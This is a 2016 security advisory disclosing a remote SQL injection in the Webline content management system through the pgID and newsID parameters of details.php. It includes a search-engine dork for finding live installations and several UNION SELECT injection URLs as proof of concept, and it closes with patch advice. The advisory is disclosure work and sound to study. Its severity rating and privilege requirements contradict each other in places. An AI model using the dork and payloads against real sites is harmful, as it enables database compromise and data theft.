(Copy of the Homepage: http://webline.in/CMS-website-developement ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a remote sql-injection vulnerability in the official Webline Content Management System (2016Q2). Vulnerability Disclosure Timeline: ================================== 2016-04-13: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Webline Infosoft Pvt. Ltd. Product: Webline - Content Management System (Web-Application) 2016 Q2 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A remote sql-injection web vulnerability has been discovered in the official Webline Content Management System (2016Q2) web-application. The vulnerability allows remote attackers and privileged user accounts to execute own sql commands to compromise the web-server or dbms. The vulnerability is located in the `pgID` and `newsID`values of the `details.php` file GET method request. Remote attackers are able to execute own malicious sql commands via pgID value to compromise the web-server or connected database management system. The issue is a classic remote sql injection vulnerability. The request method to execute is GET and the attack vector is located on the application-side of the active web-service. The security risk of the sql-injection vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 7.4. Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable File(s): [+] details.php Vulnerable Parameter(s): [+] pgID [+] newsID Proof of Concept (PoC): ======================= The remote sql-injection web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Dork(s): intext:"Powered by: Webline" inurl:.php?pgID= PoC: Example http://localhost:8080/details.php?pgID=offers_-18'[SQL-INJECTION VULNERABILITY!]--+ PoC: Exploitation http://localhost:8080/details.php?pgID=offers_-18'+union+select+1,2,3,4,5,6,7,8,@@version,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--+ http://localhost:8080/details.php?pgID=mn_-16'+union+select+1,2,3,4,5,@@version,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+ http://localhost:8080/details.php?newsID=-302'+union+select+1,2,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+ http://localhost:8080/details.php?pgID=sb_-8'+union+select+@@version,2--+ Solution - Fix & Patch: ======================= The vulnerability can be patched by usage of a secure prepared statement in the details.php file GET method request. Disallow usage of special chars and disallow invalid inputs to prevent further sql or script code injection attacks. Encode and parse the pgID value in the details.php file GET method request to patch the issue finally. Security Risk: ============== The security risk of the remote sql-injection web vulnerability in the web-application is estimated as high.
